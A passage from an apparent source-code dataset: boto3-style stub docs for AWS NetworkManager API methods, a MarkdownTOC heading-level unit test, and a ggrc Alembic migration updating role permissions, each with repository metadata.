NetworkManager.Client.exceptions.InternalServerException """ pass def get_transit_gateway_registrations(GlobalNetworkId=None, TransitGatewayArns=None, MaxResults=None, NextToken=None): """ Gets information about the transit gateway registrations in a specified global network. See also: AWS API Documentation Exceptions :example: response = client.get_transit_gateway_registrations( GlobalNetworkId='string', TransitGatewayArns=[ 'string', ], MaxResults=123, NextToken='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type TransitGatewayArns: list :param TransitGatewayArns: The Amazon Resource Names (ARNs) of one or more transit gateways. The maximum is 10.\n\n(string) --\n\n :type MaxResults: integer :param MaxResults: The maximum number of results to return. :type NextToken: string :param NextToken: The token for the next page of results. :rtype: dict ReturnsResponse Syntax { 'TransitGatewayRegistrations': [ { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } }, ], 'NextToken': 'string' } Response Structure (dict) -- TransitGatewayRegistrations (list) -- The transit gateway registrations. (dict) -- Describes the registration of a transit gateway to a global network. GlobalNetworkId (string) -- The ID of the global network. TransitGatewayArn (string) -- The Amazon Resource Name (ARN) of the transit gateway. State (dict) -- The state of the transit gateway registration. Code (string) -- The code for the state reason. Message (string) -- The message for the state reason. NextToken (string) -- The token for the next page of results. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'TransitGatewayRegistrations': [ { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } }, ], 'NextToken': 'string' } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def get_waiter(waiter_name=None): """ Returns an object that can wait for some condition. :type waiter_name: str :param waiter_name: The name of the waiter to get. See the waiters\nsection of the service docs for a list of available waiters. :rtype: botocore.waiter.Waiter """ pass def list_tags_for_resource(ResourceArn=None): """ Lists the tags for a specified resource. See also: AWS API Documentation Exceptions :example: response = client.list_tags_for_resource( ResourceArn='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :rtype: dict ReturnsResponse Syntax{ 'TagList': [ { 'Key': 'string', 'Value': 'string' }, ] } Response Structure (dict) -- TagList (list) --The list of tags. (dict) --Describes a tag. Key (string) --The tag key. Length Constraints: Maximum length of 128 characters. Value (string) --The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'TagList': [ { 'Key': 'string', 'Value': 'string' }, ] } """ pass def register_transit_gateway(GlobalNetworkId=None, TransitGatewayArn=None): """ Registers a transit gateway in your global network. The transit gateway can be in any AWS Region, but it must be owned by the same AWS account that owns the global network. You cannot register a transit gateway in more than one global network. See also: AWS API Documentation Exceptions :example: response = client.register_transit_gateway( GlobalNetworkId='string', TransitGatewayArn='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type TransitGatewayArn: string :param TransitGatewayArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the transit gateway. For more information, see Resources Defined by Amazon EC2 .\n :rtype: dict ReturnsResponse Syntax { 'TransitGatewayRegistration': { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } } } Response Structure (dict) -- TransitGatewayRegistration (dict) -- Information about the transit gateway registration. GlobalNetworkId (string) -- The ID of the global network. TransitGatewayArn (string) -- The Amazon Resource Name (ARN) of the transit gateway. State (dict) -- The state of the transit gateway registration. Code (string) -- The code for the state reason. Message (string) -- The message for the state reason. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'TransitGatewayRegistration': { 'GlobalNetworkId': 'string', 'TransitGatewayArn': 'string', 'State': { 'Code': 'PENDING'|'AVAILABLE'|'DELETING'|'DELETED'|'FAILED', 'Message': 'string' } } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def tag_resource(ResourceArn=None, Tags=None): """ Tags a specified resource. See also: AWS API Documentation Exceptions :example: response = client.tag_resource( ResourceArn='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :type Tags: list :param Tags: [REQUIRED]\nThe tags to apply to the specified resource.\n\n(dict) --Describes a tag.\n\nKey (string) --The tag key.\nLength Constraints: Maximum length of 128 characters.\n\nValue (string) --The tag value.\nLength Constraints: Maximum length of 256 characters.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: {} :returns: (dict) -- """ pass def untag_resource(ResourceArn=None, TagKeys=None): """ Removes tags from a specified resource. See also: AWS API Documentation Exceptions :example: response = client.untag_resource( ResourceArn='string', TagKeys=[ 'string', ] ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :type TagKeys: list :param TagKeys: [REQUIRED]\nThe tag keys to remove from the specified resource.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: {} :returns: (dict) -- """ pass def update_device(GlobalNetworkId=None, DeviceId=None, Description=None, Type=None, Vendor=None, Model=None, SerialNumber=None, Location=None, SiteId=None): """ Updates the details for an existing device. To remove information for any of the parameters, specify an empty string. See also: AWS API Documentation Exceptions :example: response = client.update_device( GlobalNetworkId='string', DeviceId='string', Description='string', Type='string', Vendor='string', Model='string', SerialNumber='string', Location={ 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, SiteId='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type DeviceId: string :param DeviceId: [REQUIRED]\nThe ID of the device.\n :type Description: string :param Description: A description of the device.\nLength Constraints: Maximum length of 256 characters.\n :type Type: string :param Type: The type of the device. :type Vendor: string :param Vendor: The vendor of the device.\nLength Constraints: Maximum length of 128 characters.\n :type Model: string :param Model: The model of the device.\nLength Constraints: Maximum length of 128 characters.\n :type SerialNumber: string :param SerialNumber: The serial number of the device.\nLength Constraints: Maximum length of 128 characters.\n :type Location: dict :param Location: Describes a location.\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n :type SiteId: string :param SiteId: The ID of the site. :rtype: dict ReturnsResponse Syntax { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Device (dict) -- Information about the device. DeviceId (string) -- The ID of the device. DeviceArn (string) -- The Amazon Resource Name (ARN) of the device. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the device. Type (string) -- The device type. Vendor (string) -- The device vendor. Model (string) -- The device model. SerialNumber (string) -- The device serial number. Location (dict) -- The site location. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. SiteId (string) -- The site ID. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The device state. Tags (list) -- The tags for the device. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Device': { 'DeviceId': 'string', 'DeviceArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Type': 'string', 'Vendor': 'string', 'Model': 'string', 'SerialNumber': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'SiteId': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def update_global_network(GlobalNetworkId=None, Description=None): """ Updates an existing global network. To remove information for any of the parameters, specify an empty string. See also: AWS API Documentation Exceptions :example: response = client.update_global_network( GlobalNetworkId='string', Description='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of your global network.\n :type Description: string :param Description: A description of the global network.\nLength Constraints: Maximum length of 256 characters.\n :rtype: dict ReturnsResponse Syntax { 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- GlobalNetwork (dict) -- Information about the global network object. GlobalNetworkId (string) -- The ID of the global network. GlobalNetworkArn (string) -- The Amazon Resource Name (ARN) of the global network. Description (string) -- The description of the global network. CreatedAt (datetime) -- The date and time that the global network was created. State (string) -- The state of the global network. Tags (list) -- The tags for the global network. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'GlobalNetwork': { 'GlobalNetworkId': 'string', 'GlobalNetworkArn': 'string', 'Description': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def update_link(GlobalNetworkId=None, LinkId=None, Description=None, Type=None, Bandwidth=None, Provider=None): """ Updates the details for an existing link. To remove information for any of the parameters, specify an empty string. See also: AWS API Documentation Exceptions :example: response = client.update_link( GlobalNetworkId='string', LinkId='string', Description='string', Type='string', Bandwidth={ 'UploadSpeed': 123, 'DownloadSpeed': 123 }, Provider='string' ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type LinkId: string :param LinkId: [REQUIRED]\nThe ID of the link.\n :type Description: string :param Description: A description of the link.\nLength Constraints: Maximum length of 256 characters.\n :type Type: string :param Type: The type of the link.\nLength Constraints: Maximum length of 128 characters.\n :type Bandwidth: dict :param Bandwidth: The upload and download speed in Mbps.\n\nUploadSpeed (integer) --Upload speed in Mbps.\n\nDownloadSpeed (integer) --Download speed in Mbps.\n\n\n :type Provider: string :param Provider: The provider of the link.\nLength Constraints: Maximum length of 128 characters.\n :rtype: dict ReturnsResponse Syntax { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Link (dict) -- Information about the link. LinkId (string) -- The ID of the link. LinkArn (string) -- The Amazon Resource Name (ARN) of the link. GlobalNetworkId (string) -- The ID of the global network. SiteId (string) -- The ID of the site. Description (string) -- The description of the link. Type (string) -- The type of the link. Bandwidth (dict) -- The bandwidth for the link. UploadSpeed (integer) -- Upload speed in Mbps. DownloadSpeed (integer) -- Download speed in Mbps. Provider (string) -- The provider of the link. CreatedAt (datetime) -- The date and time that the link was created. State (string) -- The state of the link. Tags (list) -- The tags for the link. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Link': { 'LinkId': 'string', 'LinkArn': 'string', 'GlobalNetworkId': 'string', 'SiteId': 'string', 'Description': 'string', 'Type': 'string', 'Bandwidth': { 'UploadSpeed': 123, 'DownloadSpeed': 123 }, 'Provider': 'string', 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.ServiceQuotaExceededException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass def update_site(GlobalNetworkId=None, SiteId=None, Description=None, Location=None): """ Updates the information for an existing site. To remove information for any of the parameters, specify an empty string. See also: AWS API Documentation Exceptions :example: response = client.update_site( GlobalNetworkId='string', SiteId='string', Description='string', Location={ 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' } ) :type GlobalNetworkId: string :param GlobalNetworkId: [REQUIRED]\nThe ID of the global network.\n :type SiteId: string :param SiteId: [REQUIRED]\nThe ID of your site.\n :type Description: string :param Description: A description of your site.\nLength Constraints: Maximum length of 256 characters.\n :type Location: dict :param Location: The site location:\n\nAddress : The physical address of the site.\nLatitude : The latitude of the site.\nLongitude : The longitude of the site.\n\n\nAddress (string) --The physical address.\n\nLatitude (string) --The latitude.\n\nLongitude (string) --The longitude.\n\n\n :rtype: dict ReturnsResponse Syntax { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } Response Structure (dict) -- Site (dict) -- Information about the site. SiteId (string) -- The ID of the site. SiteArn (string) -- The Amazon Resource Name (ARN) of the site. GlobalNetworkId (string) -- The ID of the global network. Description (string) -- The description of the site. Location (dict) -- The location of the site. Address (string) -- The physical address. Latitude (string) -- The latitude. Longitude (string) -- The longitude. CreatedAt (datetime) -- The date and time that the site was created. State (string) -- The state of the site. Tags (list) -- The tags for the site. (dict) -- Describes a tag. Key (string) -- The tag key. Length Constraints: Maximum length of 128 characters. Value (string) -- The tag value. Length Constraints: Maximum length of 256 characters. Exceptions NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException :return: { 'Site': { 'SiteId': 'string', 'SiteArn': 'string', 'GlobalNetworkId': 'string', 'Description': 'string', 'Location': { 'Address': 'string', 'Latitude': 'string', 'Longitude': 'string' }, 'CreatedAt': datetime(2015, 1, 1), 'State': 'PENDING'|'AVAILABLE'|'DELETING'|'UPDATING', 'Tags': [ { 'Key': 'string', 'Value': 'string' }, ] } } :returns: NetworkManager.Client.exceptions.ValidationException NetworkManager.Client.exceptions.AccessDeniedException NetworkManager.Client.exceptions.ResourceNotFoundException NetworkManager.Client.exceptions.ConflictException NetworkManager.Client.exceptions.ThrottlingException NetworkManager.Client.exceptions.InternalServerException """ pass

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9

1b080b7ffb3debbb62a7928a359a0041257bdcce

4,183

py

Python

tests/levels.py

TheSecEng/MarkdownTOC

7c69137249820dc586fd90b58fca2f34c54f2abc

[ "MIT" ]

null

tests/levels.py

TheSecEng/MarkdownTOC

7c69137249820dc586fd90b58fca2f34c54f2abc

[ "MIT" ]

1

2020-05-24T11:44:49.000Z

tests/levels.py

TheSecEng/MarkdownTOC

7c69137249820dc586fd90b58fca2f34c54f2abc

[ "MIT" ]

null

# coding:utf-8 from base import TestBase class TestLevels(TestBase): '''Test for attributes \'levels\'''' # for debug # def tearDown(self): # pass text_1 = \ '''   # heading 1 ## heading 2 ### heading 3 #### heading 4 ##### heading 5 ###### heading 6 ''' # TODO: test warning if depth is exists in settings def appear_all_headings(self, toc): self.assert_In('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_In('- heading 3', toc) self.assert_In('- heading 4', toc) self.assert_In('- heading 5', toc) self.assert_In('- heading 6', toc) def test_levels_default(self): '''Default is no limit''' toc = self.init_update(self.text_1.format(''))['toc'] self.appear_all_headings(toc) def test_levels_1(self): '''levels="1" shows h1 ''' toc = self.init_update(self.text_1.format('levels="1"'))['toc'] self.assert_In('- heading 1', toc) self.assert_NotIn('- heading 2', toc) self.assert_NotIn('- heading 3', toc) self.assert_NotIn('- heading 4', toc) self.assert_NotIn('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_1_2(self): '''levels="1,2" shows h1,h2 ''' toc = self.init_update(self.text_1.format('levels="1,2"'))['toc'] self.assert_In('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_NotIn('- heading 3', toc) self.assert_NotIn('- heading 4', toc) self.assert_NotIn('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_1_2_3(self): '''levels="1,2,3" shows h1,h2,h3 ''' toc = self.init_update(self.text_1.format('levels="1,2,3"'))['toc'] self.assert_In('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_In('- heading 3', toc) self.assert_NotIn('- heading 4', toc) self.assert_NotIn('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_1_2_3_4(self): '''levels="1,2,3,4" shows h1,h2,h3,h4 ''' toc = self.init_update(self.text_1.format('levels="1,2,3,4"'))['toc'] self.assert_In('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_In('- heading 3', toc) self.assert_In('- heading 4', toc) self.assert_NotIn('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_1_2_3_4_5(self): '''levels="1,2,3,4,5" shows h1,h2,h3,h4,h5 ''' toc = self.init_update(self.text_1.format('levels="1,2,3,4,5"'))['toc'] self.assert_In('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_In('- heading 3', toc) self.assert_In('- heading 4', toc) self.assert_In('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_1_2_3_4_5_6(self): '''levels="1,2,3,4,5" shows h1,h2,h3,h4,h5 ''' toc = self.init_update(self.text_1.format('levels="1,2,3,4,5,6"'))['toc'] self.appear_all_headings(toc) text_2 = \ '''   ### heading 3 #### heading 4 # heading 1 ## heading 2 ##### heading 5 ###### heading 6 ''' def test_levels_specific_level(self): '''Default is no limit''' toc = self.init_update(self.text_2.format('levels="3"'))['toc'] self.assert_In('- heading 3', toc) self.assert_NotIn('- heading 4', toc) self.assert_NotIn('- heading 1', toc) self.assert_NotIn('- heading 2', toc) self.assert_NotIn('- heading 5', toc) self.assert_NotIn('- heading 6', toc) def test_levels_specific_levels(self): '''Default is no limit''' toc = self.init_update(self.text_2.format('levels="2,4,6"'))['toc'] self.assert_NotIn('- heading 3', toc) self.assert_In('- heading 4', toc) self.assert_NotIn('- heading 1', toc) self.assert_In('- heading 2', toc) self.assert_NotIn('- heading 5', toc) self.assert_In('- heading 6', toc)

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1b6ed2955995aa6197fa50415dfac462602a26cc

16,501

py

Python

src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py

Smotko/ggrc-core

b3abb58b24e7559960d71a94ba79c75539e7fe29

[ "Apache-2.0" ]

null

src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py

Smotko/ggrc-core

b3abb58b24e7559960d71a94ba79c75539e7fe29

[ "Apache-2.0" ]

12

2015-01-08T14:50:19.000Z

2017-11-29T19:37:53.000Z

src/ggrc_basic_permissions/migrations/versions/20131218225818_3e08ed6b47b8_prograreader_and_pro.py

mikecb/ggrc-core

1cda560cb0920021416e07740c6cca1acba56268

[ "ECL-2.0", "Apache-2.0" ]

1

2015-01-08T13:25:09.000Z

# Copyright (C) 2015 Google Inc., authors, and contributors <see AUTHORS file> # Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file> # Created By: anze@reciprocitylabs.com # Maintained By: anze@reciprocitylabs.com """PrograReader and ProgramEditor need to be able to read UserRole resources. Revision ID: 3e08ed6b47b8 Revises: 2785a204a673 Create Date: 2013-12-18 22:58:18.613406 """ # revision identifiers, used by Alembic. revision = '3e08ed6b47b8' down_revision = '2785a204a673' import sqlalchemy as sa from alembic import op from datetime import datetime from sqlalchemy.sql import table, column, select import json roles_table = table('roles', column('id', sa.Integer), column('name', sa.String), column('permissions_json', sa.String), column('description', sa.Text), column('modified_by_id', sa.Integer), column('created_at', sa.DateTime), column('updated_at', sa.DateTime), column('context_id', sa.Integer), column('scope', sa.String), ) def get_role_permissions(role): connection = op.get_bind() role = connection.execute( select([roles_table.c.permissions_json])\ .where(roles_table.c.name == role)).fetchone() return json.loads(role.permissions_json) def update_role_permissions(role, permissions): op.execute(roles_table\ .update()\ .values(permissions_json = json.dumps(permissions))\ .where(roles_table.c.name == role)) def upgrade(): update_role_permissions('ProgramReader', { "read": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder", "UserRole", ], "create": [], "view_object_page": [ "__GGRC_ALL__" ], "update": [], "delete": [] }) update_role_permissions('ProgramEditor', { "read": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder", "UserRole", ], "create": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship" ], "delete": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ] }) update_role_permissions('ProgramAuditOwner', { "read": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "UserRole", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "create": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "UserRole", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting", "Response", ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "delete": [ "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ] }) update_role_permissions('ProgramAuditEditor', { "read": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "create": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting", "Response", ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "delete": [ "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ] }) def downgrade(): update_role_permissions('ProgramReader', { "read": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ], "create": [], "view_object_page": [ "__GGRC_ALL__" ], "update": [], "delete": [] }) update_role_permissions('ProgramEditor', { "read": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ], "create": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Program", "ProgramControl", "ProgramDirective", "Relationship" ], "delete": [ "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "ProgramControl", "ProgramDirective", "Relationship", "ObjectFolder" ] }) update_role_permissions('ProgramAuditOwner', { "read": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "UserRole", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "create": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "UserRole", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "delete": [ "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ] }) update_role_permissions('ProgramAuditEditor', { "read": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "create": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "ObjectFolder", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "view_object_page": [ "__GGRC_ALL__" ], "update": [ "Request", "DocumentationResponse", "InterviewResponse", "PopulationSampleResponse", "Audit", "Meeting", "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ], "delete": [ "ObjectControl", "ObjectDocument", "ObjectObjective", "ObjectPerson", "ObjectSection", "Relationship", "Document", "Meeting" ] })

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16,501

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0

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0

1

0

1

0

1

0

null

0

10

1ba5b1fd9802b6dce0d40f24770b332be7af364c

863

py

Python

InfoUp.py

AshbornXS/Iota

ddf9da616d6210a93c0c1eb737c00fb9f4edba36

[ "Apache-2.0" ]

2

2022-03-05T13:05:42.000Z

